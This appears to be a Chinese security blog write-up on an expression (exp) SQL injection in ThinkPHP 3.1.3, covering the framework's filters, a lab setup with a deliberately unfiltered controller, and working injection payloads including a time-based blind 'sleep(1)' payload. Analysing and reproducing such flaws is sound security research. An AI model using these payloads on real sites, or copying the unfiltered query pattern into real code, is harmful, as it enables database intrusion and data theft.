ThinkPHP3.1.3表达式注入

明确问题

exp表达式被正常解析,但是注入未成功

分析

传参形式

在完整版的3.1.3的框架中,配置正确或者采用I函数的情况下,应该是不存在表达式问题的

框架中已经存在了对表达式进行过滤的方法

image-20210513113842057

两处过滤位置,第一种就是调用I函数接受传参

image-20210513113915456

通过全局配置

image-20210513114007910

这个配置之后,通过$_POST等接受的参数,或者内置方法_param接受的参数都会被过滤掉

这里既然没有过滤,那么其接受参数形式,如下

  • $_POST['test']
  • $this->_param('test')

与官网完整版的差异

测试中其实还有一个问题就是

在完整版本中,对in类型的表达式已经进行了完全匹配

image-20210513114432614

但是在目标中,仅仅匹配到字符串中含有in,就可进入此逻辑

说明,他可能是更老一些3.1.3的版本

具体图先不放了

理论上讲,进入了每个分支后,就会进行每个分支的逻辑操作

二次开发者动这里代码的概率不大

调式

测试的payload

  • test[]=exp&test[]=aaa
  • test[]=exp&test[]=aaa)#

环境搭建

ThinkPHP5不一样的地方,不是所有的目录都已经创建了的

只有ThinkPHP框架目录

ThinkPHP目录移动到网站根目录之后

新建一个index.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//入口文件

//开启调式
define('APP_DEBUG',True);

//定义项目名称
define('APP_NAME', 'Index');

//定义应用目录
define('APP_PATH','./Index/');

//引入Thinkphp入口
require './ThinkPHP/ThinkPHP.php';
?>

访问网站后,会自动在网站目录生成Index文件夹,并生成了文件目录结构

配置config文件中的数据库信息

image-20210513132530179

./Index/Lib/Action/IndexAction.class.php写入如下代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// 本类由系统自动生成,仅供测试用途
class IndexAction extends Action {
public function index(){
// $a = I('test');
$test = $this->_param('test');
$map = ['username' => $test];
$m = new Model('users');
$a = $m->where($map)->select();
var_dump($a);
}
}

在数据库中创建test数据库,并添加users表,添加username和其他字段

随后,正常访问如下

image-20210513135801172

模拟情况

当传入数组的时候

image-20210513135914747

把表达式换成exp

发现这里,只是不再有查询结果,加括号和单引号都是返回的false

image-20210513140021539

输出下目前的语句

可以注入,如下

image-20210513140306158

但是当SQL语句存在语法错误时,统统都返回false

image-20210513140459783

所以理论上这个地方应该只能用时间盲注或者特定的布尔盲注

结论

可以注入

时间盲注

image-20210513140849203

payload

1
test[0]=exp&test[1]=='a')) or sleep(1)#

布尔盲注

根据实际情况决定